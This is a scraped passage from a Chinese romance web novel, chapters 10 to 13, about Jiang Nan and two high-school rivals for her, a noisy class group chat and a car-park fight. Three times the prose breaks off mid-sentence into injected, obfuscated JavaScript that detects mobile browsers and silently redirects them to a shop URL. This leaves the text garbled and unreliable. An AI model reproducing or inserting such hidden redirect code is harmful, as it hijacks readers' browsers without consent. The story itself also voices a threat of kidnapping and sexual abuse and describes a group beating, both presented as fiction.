验证消息:【你好,我是江小柔,江小杰的姐姐。】 周赫言单手搭在方向盘上,回头扫了眼姜南,用眼神示意她:什么意思? 姜南:“当年你一门心思都是我,是因为恨,现在心里没恨了,也就说明心里没我了,那现在你可以试着接受一下别的人,当然,这一次希望你是带着爱的。” “你……你是不是这些年,对我的记忆也停留在吵架那个阶段,你也复盘过?你这话说的我竟然无力反驳。” “我没你那么无聊。”姜南像以前一样怼他,然后抓起包打算下车,“只是觉得你该开始新的生活。” 周赫言也没再打趣她,就目前而言,姜南和他聊天渐渐没有前几次那种拘束感,这也正是他想要的结果,慢慢来,凡事急不得。 “姜叔还是喜欢黄酒和茶叶吗?” “你要给他买生日礼物?” “第一次上门总不能空手去吧。” 姜南想了想也是,“喝酒多一点。” “好。” 姜南下了车,没走两步,身后又响起声音,他的声音仿佛沾染几分蛊惑人心的炽热:“那你呢?想要什么?哥给你买。” “算是久别重逢的见面礼。” 10. 第十章 模样是挺正经的,可话里话外的意思总显得那么不着调。 姜南开始怀疑,他是本来性子就是这样的,高中那三年隐藏着真实的自己,在那里装高冷,还是后来这些年里,和谷志航混在一起,被同化了。 姜南洗澡的时候还在想这个问题,洗完澡躺在床上,就忘了分析,一门心思都在看书上。 今天单位活不多,姜南就问江小杰有没有什么好看的书可以推荐一下,一说到书,江小杰就赶紧将桌子底下的整套《鬼吹灯》搬了出来。 姜南知道这书,关于盗墓的,可她没看过。 白天在江小杰的强力安利下,她翻了几页,确实挺好看的,导致下午上班的时候一门心思都在故事上。 所以一到家,匆匆忙忙洗完澡就又翻起了《鬼吹灯1精绝古城》,其实她当时是想看《黄皮子坟》的,可江小杰说那是第5部,不从头看,后续连人名都对不上。 听了他的建议,下班的时候,姜南就只揣了一本《精绝古城》在包里带回了家。 看的正入迷的时候,床头柜上的手机响了。 姜南侧头一看,是个群,群名是“致我们已经逝去的青春”。 前两天谷志航把她拉进去的,高中同学群。 上高中的时候,姜南性格外向,大大咧咧的,交了很多朋友,后来高中毕业就不联系了,她离开文都时,把所有人都留在了文都。 群里有人@所有人。 【你们知不知道,我们有个高中同学当了大明星~】 【谁啊?红不红?】 【应该不怎么红吧,要不然怎么会不知道呢!没听说哪个同学当了艺人啊~】 【小甲鱼,你是真孤陋寡闻,艺人都是有艺名的,谁用真名啊。】 【你骂谁小甲鱼呢,高中时候的绰号你还咬着不放,缺不缺德!!!】 【沈威,现在正火的那部古装戏,他演男一号。】 【卧槽,沈威啊,上高中的时候,是我最好的兄弟,现在人发达了,指定攀不上关系了。】 【听说娱乐圈潜规则很多的,沈威该不会是已经被?!】 【人沈威家里最不缺的就是钱,还潜规则个屁!” 【他高中的时候是不是有个女朋友,也是我们班的,长得挺漂亮那个,叫什么来着,现在分了没?】 【姜南。】 【对,叫姜南,好多年不联系了,你们有人有她微信吗?把她拉进来,我们聊聊,看看能不能要到沈威的签名照。】 【早就分了吧,要是不分的话,十年了还不结婚,黄花菜都凉了,不过我觉得姜南指定对沈威余情未了,分手的场面一定充满了泪水,难舍难分,毕竟沈威有钱又帅,谁不喜欢,反正当年我暗恋过沈威,日记本上写满了他的名字。】 【哈哈,我之前有一次数学考试,脑子里都是沈威,结果姓名那栏就真的写成了沈威,后来出考试排名的时候,有两个沈威,老师都懵了。】 姜南看着群里聊的热火朝天的。 颜值天花板的沈威,在高中部像是谜一样的存在。 据可靠情报,他每天都是坐着劳斯莱斯来上学的,衣服一年四季不重样,一天光是穿的衣服、鞋子,就是普通打工族一年的工资。 他家是开娱乐公司的,旗下有许多当红艺人,每年靠着他们,都能赚上几代人花不完的钱。 沈威就是个有钱的公子哥。 而且是那种浑身都散发着金钱味道的大款,不是土大款,是洋溢着青春气息的土豪校草。 他爸又是校董,学校领导看见沈威都要给他三分薄面。 这样一个有钱有颜,又可以公然和学校领导反抗的男生,简直是高中部女生心目中的神。 必须是言情偶像剧里的最佳男主角。 像是王子一样的存在。 如果沈威是王子,那姜南势必就是灰姑娘。 她这个灰姑娘从来没有想过要觊觎王子,可所有人,都将她和王子捆绑在一起。 格林童话——里面的《灰姑娘》都是假的,童话故事都是骗人的。 手机又响了一声,群主在群里@要开心啊。 【这是姜南。】 群里又开始炸锅了。 【@姜南我是郭小艾,好久不见。】 【@姜南我是沈天梦,之前坐在你前面的。】 【姜南在群里,那沈威在不在?@群主。】 【姜南什么时候进群的,我怎么不知道?谁拉进来的。】 【@姜南上面我说的余情未了,是我对沈威,没说你,我图他钱,图他身子,如果你们现在还在谈,这话我收回,就当我没说。】 【姜南不回话,她八成设置免打扰了吧。】 谷志航@所有人:【你们这群人,这么多年没见,悠着点,别给人家吓着。】 群里又开始把矛头指向谷志航。 【之前就你和姜南最熟,有没有什么八卦,兄弟之间分享分享?】 谷志航@周赫言:【他比我熟。】 【问周哥还不如我自己猜,他能告诉我,明天早上太阳得从西边出来,当红小花得嫁给我做老婆。】 【谷志航,你给个八卦,明天我喊我七大姑八大姨,都去你家吃小馄饨,一人十碗。】 谷志航:【滚。】 周赫言:【已有对象,在忙,勿cue。】 一群人难得蹲到周赫言在群里发言,一个个非缠着聊,都快要@出花来了。 一排都是@周赫言。 姜南看《精绝古城》的心思完全被打扰了,群消息已经设置了免打扰,可还是感觉手机在震动,她还没有从刚才群里暴-乱的情绪中缓过神来。 盗墓看不下去了,她索性放下书,窝在被窝里拿着手机看着群里聊天。 【@周赫言 周哥,从哪里觅得夫人,定是美丽动人,摄人心魂。】 【@周赫言 周哥,回头结婚了,群里喊一声,随个份子钱,当年抄了你不少作业。】 【@周赫言 下次同学聚会,一定要带上你对象。】 【周赫言居然也能有女朋友,上高中的时候,就没见过他和女的说话,整天拉着一张脸,我还以为他性取向有问题,不喜欢女的。也对,人家只说对象,也没说是男是女。】 【王佳佳,你狗嘴里真是吐不出象牙,一个死肥婆,还叨叨叨。】 【你有病吧!】 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车飞出去很远,车盖都摔散架了。 男老师躺在地上,戴着安全帽,只伤了腿,他捂着腿,指着周赫言,骂骂咧咧:“周赫言,我要你吃不了,兜着走,你死定了,我要报警,我要让你坐牢。” 一群少年像是受到刺激般,疯狂用脚去踹男老师,雨点般的脚落在他身上,他捂着头,捂不住肚子,也捂不住腿,后来被踹的最多的地方就是重要部位。 那条小巷里,只有他求饶的声音。 少年们虽然心里恨,可知道分寸,并没有真的伤及要害。 坐在警局里,一群人像是路见不平,拔刀相助的英雄,一个个都仰着下巴,不低头。 后来来了一群女同学,将男老师的猥亵行为都和警察说了,警察将男老师关押,至于学生,男老师有错在先,他不敢追究,就签了谅解书放他们回去。 后来那个男老师,再也没见过,有可能被吊销教师资格证做不成老师,也有可能离开文都,去了别的城市。 反正从那之后,那群小伙子都尊称周赫言一声“周哥”。 群里最后一条消息停留在谷志航那:【来我家吃馄饨,我知道他对象是谁。】 姜南看了看时间,已经11点半,想到明天还要去商场采访,她就将手机收起来睡觉。 睡得迷迷糊糊做了个梦,梦见和周赫言在盗墓,还有谷志航,她们三个人是摸金校尉。 盗了一晚上的墓,第二天一早起来头昏昏沉沉的,去采访的时候也是无精打采。 走到半道上,被一个女人撞了胳膊,猛得一撞,那条之前骨折过的胳膊险些又旧病复发。 姜南捂着胳膊,抬头看了眼对方。 一身翠绿色的蕾丝连衣裙,包裹着凹凸有致的身材,浑身戴着亮闪闪的钻石首饰。 她一手搭在男人胳膊上,一手指着姜南,言语矫揉造作:“喂,你有没有长眼睛,走路不看着点,是眼瞎吗?” “哦,我知道了,你是故意的,想要撞上我们家威威,引起他的注意。” “小骚货!” 11. 第十一章 安静。 商场里嘈杂的音乐和来来回回的人群说话声此刻都像是被一场忽然停顿的雷阵雨给带走了。 童话里的王子站在面前。 丝绸质地的黑衬衫,宽松却又将腹部的肌肉线条勾勒明显,他侧头,将墨镜往鼻梁上拉了拉,认真看她。 额头的碎发自然下垂,半遮下的眼睛是浅褐色的瞳仁,眼尾轻挑,配上邪魅孤傲的脸庞,透出一股不可抗拒的大佬气息。 他松开女人的手,语气并不友善:“沈灿灿,你怎么说话的,出门前我是怎么叮嘱你的,快跟人家道歉。” 被叫了名字的沈灿灿撇着嘴,“她把我撞疼了。” “快道歉!” 沈灿灿无理取闹惯了,家里人都让着她,可偏偏这个亲哥,从不顺着她。 他眉眼里总是给人一种压迫感,身上有股威势,她从小就害怕,好不容易熬到他高中毕业出国,没想到今年又回来了,脾气性格没变,反而愈演愈烈。 “沈威,你怎么胳膊肘往外拐,偏帮别的女人不帮我。” 沈威耐心已到极致:“沈灿灿,你不道歉,今天晚上的晚宴,你一个人去。” 这话算是刺了沈灿灿的小心脏,今天可是胜负局,不能输,一群小姐妹最近疯狂迷恋沈威演的戏,她可是要带着沈威去撑场子的。 一群小富婆,又不缺钱,每天就想着怎么找小帅哥谈恋爱。 她们要是知道,沈威是他哥还不得羡慕死。 况且她是哄骗沈威去的,谁知道明天他还愿不愿意去了。 她知道沈威有个喜欢的女人,从高中开始就老是给她写情书,那字写的不好看,就反复练习。 在他的纸篓里,她翻到过大把大把的废纸。 “姜南,知道我每晚睡觉的时候为什么身体与床边成45°角吗?为了让你更容易得进入我的梦。” “姜南,从我拿起笔,准备叙述你的细节开始,总是忍不住走神,真抱歉,情话没写出来,可我实实在在地想了你一个小时。” “姜南,那时我就已经明白,今后我再也不会遇到这么喜欢的人了。今后无论有什么样的邂逅,什么样的别离,这种事,一生只有一次。我就是这么喜欢你。” “……” 诸如此类的情话一大堆,都是从网上摘抄的句子。 出国这几年,沈灿灿断定,那位白月光依旧在他心里,要不然他的微信名怎么照旧还是个“南”字。 姜南。 不知道是何方美女。 沈灿灿告诉沈威,她有个朋友是姜南的妹妹,沈威一下就上钩,非常愿意陪着去参加聚会。 “对不起。” 墨镜遮目,沈灿灿只有巴掌大的脸,那张樱桃小嘴动了两下,并不情愿,“你有没有受伤,要是受伤了让他带你去医院看看,医疗费我全出。” 姜南在她脸上来回看了看,小姑娘年纪不大,打着唇钉和鼻环,极其有个性。 “算了,没事。” 她心里是不想和沈威扯上关系的。 沈灿灿薄唇轻佻,那唇钉就上下动了动,贴着皮肤,挑起一点弧度,“要不,我给你留个电话,后续你要是哪里不舒服,可以联系我。” “不用。” 沈灿灿视线上移,看了眼沈威,他仍旧盯着面前的女人,那目光虽然藏在墨镜下,可她感觉都快要迸出火星来了。 奇怪,真奇怪。 等到她反应过来的时候,姜南已经走远,那细腰被一件白衬衫裹着,身材还真是饱满。 她的皮肤也白,像是从来没有沾染过半点烟火气,似乎将她放在黑暗里,她能发光。 “哥,她的工牌上写了姜南。”沈灿灿后知后觉地扯着沈威的手臂,顿时就没那么淡定了,“哥,姜南,她是不是你的那个白月光。她可真漂亮。” 沈威侧过身看着姜南离去,“沈灿灿,我还是忘不了她。” 沈灿灿不敢苟同,“张爱玲说过,‘也许每一个男人全都有过这样的两个女人,至少两个。娶了红玫瑰,久而久之,红的变了墙上的一抹蚊子血,白的还是床前明月光;娶了白玫瑰,白的便是衣服上沾的一粒饭黏子,红的却是心口上一颗朱砂痣。’” “或许是因为,你始终得不到,所以才是最好的,不管时间过去多久,都在心里藏着,成了执念。” “是吗?” 沈灿灿见沈威面色不对,立马眨了眨眼,原本看戏的表情凝固在脸上,“你可以追过去试试,反正她踩着高跟鞋走不快,今天能见到也是缘分,有些人说不定下个转角就再也见不到了。” 话刚落,她听见身边人胸腔里闷出一声笑:“沈灿灿,你长大了。” “相比顾月芜,我还是更喜欢姜南,至少人家看上去没那么轻挑,也确实长得好看。” 沈威瞧了一眼远处,姜南拐过长街,往商场大夏走去。 他的心思完全乱了,舌尖抵住后牙,给自己加油,一鼓作气跟了上去。 * “南姐,那人有病吧!” 江小杰边用纸擦身上的水,边骂骂咧咧道:“自己找我们来,说专柜卖的化妆品用出问题,烂脸了,结果人家专柜摆出证据说这东西不是这儿出去的,她买的是微商假货,那人反过来骂我们记者没用,和商家狼狈为奸,是一伙的,还泼了我俩一身水,真是倒霉透了。” “淡定。” 姜南清冷的五官里没有情绪,反而笑着擦脸上的水珠,刚才杯子里的水飞溅起来时,一大半洒在工牌上,又弹到脸上。 酷暑,被泼了水,倒也清凉。 “当记者的,这都是家常便饭,上次被推倒,磕在马路牙子上,你忘了?” 江小杰年轻气盛,撸着袖子还是无法冷静:“我怀疑就是因为我们的好脾气,才放任了这群疯婆娘,我们也是拿工资吃饭,凭什么受她们欺负。” 姜南耸着眼皮,平静的从镜子里回望。 当记者这四年,遇到这样的事情,只能忍,但凡稍微脾气差点,对方立马就将这件事情添油加醋的发到网上。 有些不辩是非的网络盲从者就会想方设法的攻击媒体人,排斥媒体人,甚至还会采取网络暴力。 之前有一个师哥就被搞崩了心态,一个月暴瘦三十斤,后来辞职去当导游,游山玩水,别提多潇洒。 “好了,先去拍完,忍忍马上就结束了。” “南姐,看来我得报个心理咨询,长期这样下去,我得疯。”江小杰恨的牙痒痒,“你先补个妆,我出去等你。” 姜南拿出口红,她盯着镜子,顺着嘴唇轮廓轻轻涂了两下,口红还没收起,她就看见身后站了个男人。 手一抖,口红直接掉在洗簌桌上。 男人戴着口罩、墨镜,将整个五官挡得死死的。 乍一看,真是吓一跳,要不是姜南不久前在外面遇到过沈威,她还真会被这突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191284|197068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如其来的人吓到。 她稳下情绪,看着他:“有事?” 她知道沈威是来找她的,从外面追到这里指定有事。 “你能认出我?”沈威眉眼透着疑惑:“刚才我还以为你没认出我来。” “有事?”姜南长相偏乖,可性子并不乖巧:“有事直说。” 感觉到姜南刻意的回避,与他保持距离,沈威将刚买的衣服递过去,“换上。” 他的声音很低沉,吐字清晰,字正腔圆的,颇有播音腔。 “不需要。谢谢。”姜南回他。 沈威眼底没有过多情绪,他对这个结果并不意外,高中的时候,姜南就是这样的,拒人于千里之外。别人都说他们是一对,可他心里清楚,姜南对他,冷冷淡淡,过于客气,便是生分。 似乎真的像沈灿灿说的,得不到才愈发惦记。 这十年,他身边的女明星、嫩模,国内的、国外的,就没断过,什么样的他都见过,清纯的、性感的、闷骚的,她们爬上他的床,脱掉衣服,都在奉承他,说着爱他的话。 可他那时候心里,眼里都是姜南。 他感觉自己快发疯了,被这样的情绪一直折磨,后来心理医生建议他,心病还需心药医,他就包架飞机,回了国。 他想再试试。 人嘛,十年会变的。 没有人会一层不变的。 “这几年,你还好吗?”沈威看她。 姜南抹了口红,先前沾了水,总感觉嘴唇上腻腻的,她嘴皮子动动,“沈威,你到底想说什么?” “刚才那女的是我亲妹妹。” “你是来道歉的?” 沈威摘下墨镜,“姜南,我还有机会吗?” 姜南:“我有对象,快结婚了。” “是周赫言吗?”沈威的声音变得有气无力,眼皮一颤,还是把墨镜重新戴了上去。眼底的那抹不甘被遮住了。 “不是。”姜南冷言冷语:“对不起,我要去工作,麻烦你让一下。” 姜南侧身从沈威旁边过去,人还没走,手臂就被拉住。 结实的手腕下是燥热的手掌温度,他用的力气不小,姜南身子被带着往后仰,她穿着高跟鞋,后臀部一下子就抵在洗簌台上。 一阵钻心的疼。 姜南头都大了,昨天晚上群里还在聊沈威,聊得热火朝天的,说他怎么怎么好,今天她就见到本尊,还是两次,这两次,一次手臂差点旧病复发,一次险些尾椎骨骨折。 “你有病啊!” 姜南也脾气上头,江小杰说她脾气好,能忍,那是没碰上事。 沈威说:“姜南,高三考试结束那年,周赫言找过我,他问我,喜不喜欢你,我说我喜欢你,喜欢到死。” “周赫言和我打了一架,鼻青脸肿的,后来我们去喝了酒,谁喝怂了就不配喜欢你,我们就在学校旁边的那家餐馆里,我都不记得喝了几箱。” “喝多了,我问他,是不是喜欢你?” “他说喜欢,比我更喜欢,我不信,我觉得世界上没有人比我更喜欢你。” “后来酒醒了,我想了想,他喜不喜欢你无所谓。你喜欢他,你别否认,那几年,你只有对他是特别的,你会和他吵架,和他生气,你会在他打篮球的时候看他,你看他的时候,眼睛里是有光的。” “姜南,你的结婚对象不是周赫言吗?” “我想我还是有机会的。” 12. 第十二章 姜南:“……” 机会,什么机会。 毕竟相熟这么多年,姜南几乎立即就懂了他字里行间的意思,她强忍着臀部的疼痛,阴阳怪气道:“沈威,你可是八卦杂志封面上的常驻嘉宾,女朋友多到天天换新,现在跟我这儿演上了,别拿你那一套来唬我,高中的时候我对你没意思,现在也是。” 沈威背脊僵直数秒。 听姜南这样说,他瞬间理解成了别的意思,满心认为眼前的女人是在口是心非:“这几年,你都在关注我?” 姜南才没那闲工夫关注沈威,倒是江小杰每天早上路过单位楼下的报刊,都会买一份娱乐报带上来。 这几年,沈威都在国外发展,长相颇为俊美非凡,演技也可圈可点,国内时常有他的报道,当然大多数是一些花边新闻。 今天和俄罗斯模特共度春宵,昨天和美国前凸后翘的小演员在沙滩上玩热辣贴身舞,甚至大前天和韩国女爱豆在后台激吻。 大尺度的照片配上露骨的文字,自然是吸引姜南的注意力。 当她发现那男的是高中同学后,立刻觉得三观尽毁,后来想想也正常,高中的时候,他做的那些事情就足以表明,他并非良人。 “你是不是在国外待久了,听不懂中文?”姜南看都不想看他,“我已经表达得很清楚,我不喜欢你,而且我要结婚了,至于结婚对象是不是周赫言,这和你有半毛钱关系?” “是他,你是准备多随点份子钱,还是准备婚礼当天来砸场子。” “沈威,我们都是成年人,不是之前高中时候任性的小孩子,我们成熟点,行吗?” 沈威目光却死死盯着:“成熟点?” 期间有人走过来走过去,看着这样全副武装的男人,免不了多看两眼,可没人认出这是位明星来。 沈威回国不久,新拍的电视剧又刚开播,确实没多大名气,在国外混的风生水起,到了国内,还得重新混。 姜南此时此刻多希望有人能认出他来,好让她脱离苦海。 沈威又说:“姜南,高中的时候你说过,我离了沈家,屁都不算,现在我靠着自己混出了一番事业,完全可以让你这辈子,下辈子,几辈子都衣食无忧,你不跟我,你自己成熟吗?” 姜南啧了声,“然后呢?” “你跟了我,以后就不需要再去给别人赔笑脸,刚才那盆水泼在你身上,湿掉的是衣服?是你的尊严。” “尊严?和你在一起,成为你养的金丝雀,难道就是你理解的有尊严?” 姜南实在觉得和沈威沟通不了,从小到大养尊处优的公子哥,企图让他们明白,自食其力就是自己给自己的尊严,这么浅显的道理,对他们而言就是天方夜谭。 “姜南,我们之间非要这么生分。”沈威冷笑。 这么多女人,就姜南独特,总是在抗拒他,可她越抗拒,他就越无法忘怀。 那种感觉就像是看见了一只鹦鹉,它会说话,长得又漂亮,它绕着城中飞来飞去,有一天落在你眼前,你很喜欢它,想抓住它,可它扑腾翅膀飞来飞去,死活不肯进铁笼子。 时间越久,它生得越发-漂亮,羽毛光滑鲜艳,你日日夜夜看着它,对它的喜欢也愈发强烈。 你开始想要占有它,想让它安安静静待在笼子里只供你一个人观赏。 可这只鹦鹉性子太刚烈,你许久还是没有如愿把它关进笼子,心里渐渐生出想要杀了它的冲动。 自己得不到的,别人也休想沾染半分。 沈威被自己突然冒出来的想法吓了一跳,他身体往后靠了靠,贴着墙面,他将额前的帽檐往下拉低,“算了,今天就到这,改天我来找你。” 他的脚几乎是瞬间就没力气,松垮到站都站不住,这一切姜南都看在眼里,可她一句关心问候也没有,只是冷眼看了两秒,就走了。 她的关心,在沈威眼里不会是对老同学的关怀,只会让他感觉刚才的那些行为都是在欲擒故纵。 她不想给自己找麻烦,平添烦恼。 还没走出多远,就看见拐角处有人在那闲散地抽烟,打火机蹿出火苗,白雾将面容都虚化了。 他咬着烟,玩味的看她:“解决了?” “我还以为你会来帮我。”姜南开玩笑地怼他。 姜南刚才就看见周赫言站在角落里,薄薄的单眼皮在火苗下像是刺了青,他站在那,像是看戏,可分明沈威推她的时候,他攥紧拳头,神色变了又变。 姜南心里清楚,只要一个眼神,他就会过来。 “我就在那,随喊随到,可你分明用不上我。” 他说话时候的口吻很静,静得有些反常,反而让姜南觉得他在刻意压制什么。 姜南扯开话题:“不是约好四点。” “反正网咖没事,就早点过来逛逛。”周赫言将烟掐灭,“你先工作,我等你。” “好,那你等我会。”姜南往商场柜台走去。 江小杰还没来找她,说明正在交涉中,可想到耽搁了这么久,她步调就加快了些。 姜南一走,周赫言就将藏在窗台上的袋子扔进垃圾桶里。 一条崭新的纯白色连衣裙。 姜南拒绝了沈威,也同样不会接受他的衣服,刚才看见她被泼水,一时心急才会买衣服赶紧跟过来。 冷静下来想想,姜南是有分寸的女人,她现在是张秉文的女朋友,便不会接受别的男人的东西。 他不确定,姜南刚才说给沈威听的那些话是不是同样也是说给他听的。 周赫言叹了口气。 摸了摸口袋,拿出手机给谷志航发了信息。 【有事,可能晚点回去,网咖你多撑会。】 今天约好姜南下午四点来商场,帮姜青山选礼物,姜南一开始是拒绝的,可后来他无意间提到那件冬天的羽绒服,姜南似乎是心软,便答应了。 他一点就到了。 周赫言这么多年没和姜青山真正接触过,确实不知道该送什么礼物,他一个男的拿不定主意,便问了谷志航。 谷志航没什么脑子:“大老爷们,两条中华烟,两箱茅台酒,体面,姜青山现在又不是你老丈人,你慌什么!没出息。” 他不慌,就是有点紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191285|197068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张。 他对姜青山的情感比自己想象中得更深,更复杂,这几年,他总是从各方面去打听姜青山的生活状况,知道他身体健康,便安心许多。 他也知道姜青山其实最需要的是陪伴,他有几次都已经到楼下,可始终没有勇气上去。 这次姜青山主动邀约,他很激动,又有点胆怯,他心里明白礼物并不是主要的,可他总想送点什么。 算是弥补。 * 三点半,周赫言收到姜南发的微信:【停车场等我,沈威还没走,我们去海天大厦买。】 周赫言下到地下室,坐在车里等,等来等去没等到姜南,倒是和沈威打了照面。 沈威敲了敲车窗玻璃。 周赫言车熄火,下了车。 地下室灯光并不明亮,沈威摘下墨镜,一双丹凤眼漆黑深邃,看模样和高中时并没有相差很大。 周赫言刚才在卫生间瞧见的是他的背影,只觉得人高马大的,并没有瞧得仔细。 眼下看看,沈威极其精致。 “周赫言,好久不见。”沈威说。 “好久不见,沈威。”周赫言回。 沈威笑说:“当年你那一拳一拳打在我身上,那酒一杯又一杯灌进肚子里,你说了什么,你自己还记得吗?我帮你回忆一下,你说‘我周赫言这辈子都不会放开姜南的手,就算是死,也不会’,怎么现在,区区十年,就都变了。” “刚才我可听姜南说,她要结婚了,新郎不是你,不是你周赫言,是别的男人,我就纳闷,是别的男人,那为什么不能是我。怎么说,我和她还有三年情谊在。” “周赫言,你也没什么了不起的,你和我一样把姜南弄丢了。” 沈威眉毛生的浓黑有型,微微上挑,嘴角上扬,就让人感觉笑起来意味深长,不怀好意。 他又说:“要不然,我们把她绑了,一起玩玩,这高中白月光的滋味,想必差不了。虽然不知道是几手货了,可我不在乎……” 沈威的话还没说完,周赫言拳头直接朝着他脸上砸去,常年撸铁,手上力道自然不会轻。 筋骨有力,暗藏力量。 沈威的帽子被揍飞,落在车挡风玻璃上,额头上也划了一个血口。 他立刻反应过来,努努嘴,吐了口血水,抬起脚就往周赫言下腹部踹。 周赫言闪躲开,却没料到,沈威的拳头随之而来,沈威戴着戒指,直接在他脸上划了一道。 伤口不浅,往外渗血。 两人惨状差不多,脸上都挂了彩。 两个一米八几的大男人,互相往对方薄弱地方进攻,几回合下来,逼到墙角,又踹翻在地,爬起来接着揍。 “你以为姜南真的喜欢你,高中三年,她只不过是习惯了你的存在,你们生活在一个屋檐下,你们那是爱情吗?你们是亲情!” 沈威说的每一个字,都像是穿肠的毒药。 周赫言故作淡定:“她即便不喜欢我,把我当哥,我也会护她周全。沈威,离她远点,要不然我也不知道自己会发什么疯!” 上帝都不知道。 13. 第十三章 沈威浑身落了伤,左手腕在摔下来时撑地,他明显感觉崴了,像是错位。 这是真疼,浑身像是散了架。 明天还要出席活动,就这副模样,经纪人非把他活吃了不可。 沈威吸了口气,上下扫视对面同样挂彩的男人几眼,“周赫言,你真有病。我他妈就是开玩笑,这你也当真,姜南都要结婚了,我们算什么玩意,备胎还是舔狗。” 他顿了顿,又着重强调:“她结婚,我能退出,可你呢?你是选择继续当备胎还是舔狗?” 周赫言看着他,手背青筋绷着疼,打沈威的时候没注意力道,只想着一拳一拳砸过去,现在缓过神来,每个指头都疼,他揉了揉,半靠在车前盖上任凭他说。 沈威继续说:“我记得上高中的时候,你是想要什么就必须得到的人。有一次暑假,市里举办辣椒王比赛,你得了第一,我记得你是不怎么能吃辣的,辣子鸡丁里的辣椒都要挑出来。后来,谷志航说你当晚就直接进了医院,差点没了命。” “为了区区一万块奖金,命都不要了!我当时笑你傻,脑子有病,后来就想通了,谷志航说,你非要那一万块,是因为周杰伦在别的城市开演唱会,你想带姜南去。你还挺浪漫一人。” “所以这次还是为了姜南?为了成全她,甘愿只做个哥哥,你这算是隐忍到深层次的爱?” “周赫言,你到底是单纯还是心机太重。” 周赫言侧眸:“我和她的事情,没理由告诉你。” 片刻的安静。 沈威站起来,停车场的灯光昏暗,他眼尾上扬,笑了笑,眼底的情绪看不明白。 他将食指上变形的戒指扔在地上,戒指顺着平滑路面,一路滚到下水槽里。 “咕噜”冒泡,然后消失。 “周赫言,我输了。” “高三毕业的赌局,当时我虽然输了,可这么多年我都不服气,我觉得是因为自己酒量不行,不是不够爱她。” “今天见到你,如果我没猜错,这十年,你没谈过恋爱,而我就不一样,我对漂亮的女人都会有生理反应。在这一点上,你完胜我。” “我想要的东西我会想方设法去得到,即便是伤害她,推她去深渊,我无所谓,你就不行。” “我以前觉得我们性子挺像的,是同类人,现在看来你不一样,为了姜南你可以一次一次刷新自己的底线。我做不到。” “周哥,回见。” 话说完,沈威摆摆手就走了,没有留给周赫言讲话的机会,看着他干脆利落的背影,周赫言忽然间觉得他变了。 那场赌局最后沈威喝醉了,他掀了老板桌子,操起酒瓶子就往脑门上砸,当时血从头发根里往外渗,他抬着头,眼神里都是桀骜不驯,“周赫言,你敢吗?连这都不敢,你还配别人叫你周哥,真不害臊。” 这样的变化让周赫言措手不及。 似乎刚才那一场拳脚相加,是做了个梦,沈威和他之间,只是坐在这儿,谈了谈心。 谈到最后,没有结果,又好像有结果。 * 姜南的出现,让周赫言意识到这不是一个梦。 周赫言本来想走的,他知道姜南看见他这样,会不开心,可车刚启动,姜南就来了,他没来得及逃。 姜南上车,撇了一眼,冷言冷语,不太高兴的口吻:“打架了?” 周赫言打开驾驶座镜子,看了看自己,左侧额头一道血口,狰狞着面孔,血虽然止住了,却稀稀拉拉有些血痕。 嘴角裂了个口子,牙齿上倒是干净,血腥味都被他咽进去了。 至于身上的伤痕,没脱衣服之前,他就能猜出个大概来,淤青是少不了的,被沈威重推抵在墙上那两下,尾椎骨差点就断了。 “过道那摔的?”姜南替他开口,“倒是真有点滑。” 周赫言知道,现在最好的方式就是闭嘴。 两人一时半会儿都没有开口。 半晌就坐在车上,周围车来回停进来,又驶离。 外面制造出很大的动静,可车里依旧很安静。 姜南实在是憋不住,“我为什么让你来停车场,是让你避开沈威,免得起冲突,你倒好,直接和他打了一架。” 周赫言的性子,姜南早几年就摸透了,遇上她的事情,他再怎么有分寸,头脑清醒,都会立刻失控。 高中那个猥亵女同学的男老师,谷志航说他做的唯一一件对的事,就是没动姜南,要不然,周赫言估计能宰了他,可不是单单一脚踹飞这么简单。 “正好在停车场碰上。”周赫言解释:“真没想打架,我又不是混混,我知道靠武力解决不了问题。” “那高三毕业那次,你鼻青脸肿的回来,说是被楼下跳皮筋的小姑娘们拌了一跤,又正好碰上顾婶倒了盆水在地上,你滑倒了,连摔两跤,摔得不成人样,也是正好碰上沈威?” “那次是意外。” “什么意外?” 周赫言摩娑了一下手背,冷静下来后,身体肌肉反应变得灵敏,每一处的肌肉都在叫嚣着疼。 他不知道该怎么解释这件事情。 那次是因为沈威说姜南亲他了,虽然亲的是脸,可周赫言还是嫉妒得要死。 他躺在床上翻来覆去睡不着,他爬起来去外面看星星,是阴天,一颗星星也没有。 他忽然觉得被全世界抛弃了。 他给沈威打了电话,约他出来聊聊,血气方刚的小伙子,见了面都不用说就能明白对方的意思。 先是打了一架,没分出胜负,两人又约去喝酒,像是学大人棋牌上必须要下赌注,都是为了姜南,所以输的人必须自动退出。 青春期的少年头晕脑热的,喝酒像是不要命的,拿着瓶子就吹,冒着泡的啤酒,喝起来比白开水还潇洒,眉头都不带皱一下。 后来,周赫言赢了。 他哼着歌往家走,他抬头看天空,隐隐约约有一颗星星,忽明忽暗的,他伸手去抓,迫切地想要把它抓进怀里。 周赫言斟酌了一会,给了答案:“看他不爽。” 确实看沈威不爽。 就凭那三年,他自称是姜南男朋友,周赫言早就想揍他八百遍了。 “开车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 